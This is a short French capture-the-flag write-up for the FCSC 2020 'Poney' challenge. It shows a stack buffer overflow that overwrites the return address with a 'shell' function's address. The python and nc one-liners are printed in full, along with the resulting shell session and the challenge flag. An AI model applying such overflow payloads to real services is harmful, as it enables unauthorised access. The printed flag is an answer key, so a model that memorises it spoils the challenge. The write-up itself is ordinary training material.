# FCSC 2020 - Intro - Poney

Podalirius · 2020-05-03

<https://podalirius.net/fr/writeups/fcsc2020-intro-poney/>

On vous demande de lire le fichier flag présent sur le système.

Service : `nc challenges1.france-cybersecurity-challenge.fr 4000`

SHA256(`poney`) = `d95699e40bc6b83c98dbd55dafec97d7730086bae784151796592e28682acd11`.

---

## Résolution


Control all

```
python3 -c 'print("A"*40+"_RIP__")' | ./poney
```

Jump to shell

```
nm poney | grep shell
0000000000400676 T shell
```

```
python3 -c 'print("A"*40+"\x76\x06\x40\x00\x00")'

python3 -c 'print("A"*40+"\x76\x06\x40\x00\x00\x00\x00\x00")' | ./poney

cat <(python3 -c 'print("A"*40+"\x76\x06\x40\x00\x00\x00\x00\x00")') - | ./poney
```


```
cat <(python3 -c 'print("A"*40+"\x76\x06\x40\x00\x00\x00\x00\x00")') - | nc challenges1.france-cybersecurity-challenge.fr 4000

```



```
$ cat <(python3 -c 'print("A"*40+"\x76\x06\x40\x00\x00\x00\x00\x00")') - | nc localhost 4000
Give me the correct input, and I will give you a shell:
>>> ls -lha
total 24K
drwxr-xr-x 1 root root 4.0K Apr 25 08:43 .
drwxr-xr-x 1 root root 4.0K Apr 25 08:44 ..
-r--r--r-- 1 root root   71 Apr 25 08:43 flag
-r-xr-xr-x 1 root root 8.3K Apr 25 08:43 poney
cat flag
FCSC{725dd45f9c98099bcca6e9922beda74d381af1145dfce3b933512a380a356acf}
```
